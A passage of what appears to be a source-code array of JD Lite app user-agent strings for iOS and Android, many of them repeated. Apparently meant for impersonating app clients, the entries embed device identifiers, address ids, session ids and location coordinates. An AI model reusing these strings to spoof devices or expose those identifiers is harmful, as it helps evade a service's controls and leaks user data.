'jdltapp;iPhone;3.7.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 